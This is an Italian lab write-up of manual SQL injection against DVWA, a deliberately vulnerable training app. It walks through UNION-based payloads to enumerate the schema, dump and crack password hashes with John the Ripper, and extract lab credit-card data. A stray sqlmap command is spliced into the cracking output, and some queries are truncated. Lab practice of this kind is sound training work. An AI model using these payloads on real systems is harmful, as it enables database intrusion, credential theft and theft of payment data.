



BYTEREBELS

CYBER SECURITY SERVICE

Designed to protect systems, networks and data from cyber threats.

- Security Assessment
- Penetration Testing
- Security Monitoring
- Incident Detection and Response

Contact Us

 +123-456-7890

 www.byterebels.eu



SQL INJECTION DVWA

La traccia di oggi richiedeva di sfruttare la vulnerabilità SQL injection per recuperare in chiaro la password dell'utente **Gordon Brown** senza l'utilizzo di tool automatici .

STEP 1:

Il primo step é stato quello di andare ad individuare il nome del **database** da cui andare a ricavare le informazioni.

The screenshot shows a web application interface titled "Vulnerability: SQL Injection". On the left, there is a vertical sidebar with several gray rectangular bars of varying heights, with the word "tion" partially visible. The main content area has a light gray background. At the top, it says "User ID:" followed by an input field containing "1" and a "Submit" button. Below this, the output area displays the results of a SQL query. The output is red text: "ID: ' UNION SELECT 1, DATABASE()# First name: 1 Surname: dvwa". The last two lines, "Surname: dvwa", are highlighted with a blue oval. At the bottom of the main area, there is a link labeled "More info".

Grazie a questa **query** abbiamo ottnuto il nome del database che come possiamo vedere é **dvwa**

SQL INJECTION DVWA

STEP 2:

Il secondo step é stato quello di andare a trovare le **tabelle** del database trovato con la seguente **query**:

User ID:

```
ID: 1' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema="dvwa"#
First name: admin
Surname: admin

ID: 1' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema="dvwa"#
First name: 1
Surname: guestbook

ID: 1' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema="dvwa"#
First name: 1
Surname: users
```

A blue oval highlights the last query and its results.

Come possiamo vedere abbiamo ottenuto in risposta dal server tre tabelle tra cui la **tabella users** che é quella che attualmente ci interessa.

SQL INJECTION DVWA

STEP 3:

Nel terzo step siamo andati a trovare le **colonne** della tabella users con il seguente “comando”:

```
ID: 1' UNION SELECT 1,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA ="dvwa" AND TABLE_NAME
First name: admin
Surname: admin

ID: 1' UNION SELECT 1,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA ="dvwa" AND TABLE_NAME
First name: 1
Surname: user_id

ID: 1' UNION SELECT 1,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA ="dvwa" AND TABLE_NAME
First name: 1
Surname: first_name

ID: 1' UNION SELECT 1,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA ="dvwa" AND TABLE_NAME
First name: 1
Surname: last_name

ID: 1' UNION SELECT 1,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA ="dvwa" AND TABLE_NAME
First name: 1
Surname: user

ID: 1' UNION SELECT 1,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA ="dvwa" AND TABLE_NAME
First name: 1
Surname: password

ID: 1' UNION SELECT 1,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA ="dvwa" AND TABLE_NAME
First name: 1
Surname: avatar
```

Abbiamo ottenuto in output tutte le colonne, tra cui, le colonne **user** e **password**.

SQL INJECTION DVWA

STEP 4:

Nel quarto step siamo andati ad ottenere in output il contenuto delle colonne user e password.

User ID:


```
ID: ' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

Come possiamo notare il database ci ha restituito tutti gli username e tutte le password **criptate**.

SQL INJECTION DVWA

STEP 5:

Le password che abbiamo ottenuto sono criptate, nel quinto step siamo andati quindi a decriptarle con **john the ripper**.

```
(kali㉿kali2023) [~]
$ john -w=/usr/share/nmap/nselib/data/passwords.lst --format=raw-md5 hash.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 ASIMD 4x2])
No password hashes left to crack (see FAQ)
COMANDI PER SQL INJECTION CON SQLMAP
(kali㉿kali2023) [~] vulnabilities/sql_injection?id=2&Submit=Submit -cookie="security=low; PHPSESSID=b7bb038af24314b713409ccb4891a100" --batch -D dvwa --ta
$ john --show --format=raw-md5 hash.txt
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password

5 password hashes cracked, 0 left
(kali㉿kali2023) [~]
$
```

Per fare in modo che tale comando funzioni bisogna mettere come path il percorso in cui si trova il file contenente il dizionario delle password, inoltre bisogna creare un file che abbiamo chiamato hash.txt nel quale andiamo ad incollare tutte le password criptate precedentemente trovate.

SQL INJECTION DVWA

STEP 6:

Per ottenere lo stesso risultato nel livello medium della dvwa abbiamo usato una query differente in quanto nel livello medium vi è una **sanitizzazione dell'input utente**, il che vuol dire che vi è un controllo dell'input, per tanto non sono ammessi caratteri come l'apostrofo o il singolo apice.

PHP Info

About

Logout

Surname: Smith
ID: 1 OR 1=1 UNION SELECT user,password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1 OR 1=1 UNION SELECT user,password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1 OR 1=1 UNION SELECT user,password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1 OR 1=1 UNION SELECT user,password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1 OR 1=1 UNION SELECT user,password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/ttechtips/sql-injection.html>

Username: admin
Security Level: medium
PHPIDS: disabled

[View Source](#) [View Help](#)

SQL INJECTION DVWA

ULTIMO STEP:

Infine siamo andati ad eseguire praticamente gli stessi passaggi dall'inizio per trovare le carte di credito degli utenti contenuti nel database owasp10 all'interno della tabella credit_cards

```
First name: mysql
Surname: user

ID: ' AND 1=0 UNION SELECT table_schema,table_name FROM information_schema.tables#
First name: owasp10
Surname: accounts

ID: ' AND 1=0 UNION SELECT table_schema,table_name FROM information_schema.tables#
First name: owasp10
Surname: blogs_table

ID: ' AND 1=0 UNION SELECT table_schema,table_name FROM information_schema.tables#
First name: owasp10
Surname: captured_data

ID: ' AND 1=0 UNION SELECT table_schema,table_name FROM information_schema.tables#
First name: owasp10
Surname: credit_cards
ID: ' AND 1=0 UNION SELECT table_schema,table_name FROM information_schema.tables#
First name: owasp10
Surname: hitlog

ID: ' AND 1=0 UNION SELECT table_schema,table_name FROM information_schema.tables#
First name: owasp10
Surname: pen_test_tools

ID: ' AND 1=0 UNION SELECT table_schema,table_name FROM information_schema.tables#
First name: tikiwiki
Surname: galaxia_activities

ID: ' AND 1=0 UNION SELECT table_schema,table_name FROM information_schema.tables#
First name: tikiwiki
Surname: galaxia_activity_roles
```

SQL INJECTION DVWA

ULTIMO STEP:

Come possiamo vedere nelle colonne della tabella credit_cards abbiamo tutte le informazioni relative alle carte di credito.



Vulnerability: SQL Injection (Blind)

User ID:


```
ID: ' AND 1=0 UNION SELECT table_name,column_name FROM information_schema.columns WHERE table_name='credit_cards'
```

First name: credit_cards

Surname: ccid

```
ID: ' AND 1=0 UNION SELECT table_name,column_name FROM information_schema.columns WHERE table_name='credit_cards'
```

First name: credit_cards

Surname: ccnumber

```
ID: ' AND 1=0 UNION SELECT table_name,column_name FROM information_schema.columns WHERE table_name='credit_cards'
```

First name: credit_cards

Surname: ccv

```
ID: ' AND 1=0 UNION SELECT table_name,column_name FROM information_schema.columns WHERE table_name='credit_cards'
```

First name: credit_cards

Surname: expiration

[More info](#)

SQL INJECTION DVWA

ULTIMO STEP:

Vulnerability: SQL Injection (Blind)

User ID:

ID: ' UNION SELECT ccnumber,expiration FROM owasp10.credit_cards#
First name: 4444111122223333
Surname: 2012-03-01

ID: ' UNION SELECT ccnumber,expiration FROM owasp10.credit_cards#
First name: 7746536337776330
Surname: 2015-04-01

ID: ' UNION SELECT ccnumber,expiration FROM owasp10.credit_cards#
First name: 8242325748474749
Surname: 2016-03-01

ID: ' UNION SELECT ccnumber,expiration FROM owasp10.credit_cards#
First name: 7725653200487633
Surname: 2017-06-01

ID: ' UNION SELECT ccnumber,expiration FROM owasp10.credit_cards#
First name: 1234567812345678
Surname: 2018-11-01

[More info](#)